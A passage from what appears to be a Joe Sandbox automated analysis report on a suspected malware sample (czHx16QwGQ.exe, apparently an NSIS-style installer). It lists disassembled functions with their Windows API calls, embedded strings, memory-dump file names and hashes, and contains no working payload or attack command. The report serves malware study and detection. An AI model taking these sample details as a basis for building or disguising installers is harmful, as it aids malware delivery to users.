Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973
Call, xrefs: 004049B1, 004049B6, 004049C1

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 73961B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 7396121B: GlobalAlloc.KERNELBASE(?,?,7396123B,?,739612DF,00000019,739611BE,-000000A0), ref: 73961225

GlobalAlloc.KERNEL32(?,00001CA4), ref: 73961C6B
lstrcpyW.KERNEL32(00000008,?), ref: 73961CB3
lstrcpyW.KERNEL32(00000808,?), ref: 73961CBD
GlobalFree.KERNEL32(00000000), ref: 73961CD0
GlobalFree.KERNEL32(?), ref: 73961DB2
GlobalFree.KERNEL32(?), ref: 73961DB7
GlobalFree.KERNEL32(?), ref: 73961DBC
GlobalFree.KERNEL32(00000000), ref: 73961FA6
lstrcpyW.KERNEL32(?,?), ref: 73962140
GetModuleHandleW.KERNEL32(00000008), ref: 739621B5
LoadLibraryW.KERNEL32(00000008), ref: 739621C6
GetProcAddress.KERNEL32(?,?), ref: 73962220
lstrlenW.KERNEL32(00000808), ref: 7396223A

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: ce41b6c76a292eee586bf9fe128fd2ef06c781ef0940fc6ca32bba30b8eecf69
Instruction ID: e6183d6f3ad124b3bd6de3a66bc6e0db4a5397b05aa084dd3109ea2f73567965
Opcode Fuzzy Hash: ce41b6c76a292eee586bf9fe128fd2ef06c781ef0940fc6ca32bba30b8eecf69
Instruction Fuzzy Hash: 4122B972C0660ADFDB16CFA4C9807EEB7B9FB04385F10452ED1A6E7284D7749A808B53

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,?), ref: 00402183

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,?), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,?), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(?,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
Call, xrefs: 004046FB

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,?,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\czHx16QwGQ.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2246974252
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00016309,?,00019562), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
